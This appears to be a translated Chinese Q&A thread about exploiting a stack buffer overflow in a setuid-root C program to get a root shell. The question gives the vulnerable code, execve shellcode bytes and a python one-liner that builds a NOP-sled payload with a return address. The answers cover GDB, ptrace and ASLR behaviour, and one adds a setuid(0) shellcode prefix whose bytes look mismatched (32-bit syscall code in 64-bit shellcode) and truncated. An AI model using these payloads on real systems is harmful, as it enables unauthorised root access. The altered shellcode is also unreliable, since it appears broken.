如何使用具有root用户特权的易受攻击的程序获取特权升级?

时间:2019-02-11 16:17:06

标签: python gdb buffer-overflow privilege-elevation

我试图利用具有特权的易受攻击程序的特权升级。我为此尝试了一个shell代码,但是我不知道自己在哪里出错。

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
char buf[256];
int len, i;

scanf("%s", buf);
len = strlen(buf);

printf("%s\n", buf);
return 0;
}

缓冲区的地址从“ 0x7fffffffdfd0”开始。缓冲区的大小为272字节。我使用了以下29个字节的shell代码:

\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05

此外,对于攻击场景,我使用了以下输入:

(python -c 'print \x90"*243+"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"+"\xd0\xdf\xff\xff\xff\x7f"') > payload.txt

当我在GDB中使用“运行

2 个答案:

答案 0 :(得分:0)

  

当我在GDB中使用“运行

这是预料之中的:setuid程序在ptrace d中(在调试器下运行时)不会从内核获得特殊特权。否则,有可能劫持任何 setuid程序(不仅仅是易受攻击的程序)。

  

缓冲区的地址从“ 0x7fffffffdfd0”开始。

你怎么知道的?您是否在GDB中找到了该地址?您禁用了ASLR吗?

GDB禁用了ASLR(为了使调试更容易-所有内容始终位于同一地址)。

如果您未在系统范围内禁用ASLR,则buffer可能不是 0x7fffffffdfd0开始。

答案 1 :(得分:0)

我想,用setuid(0)

添加您的shellcode。
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" // setuid(0)

修改的shellcode:

\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x0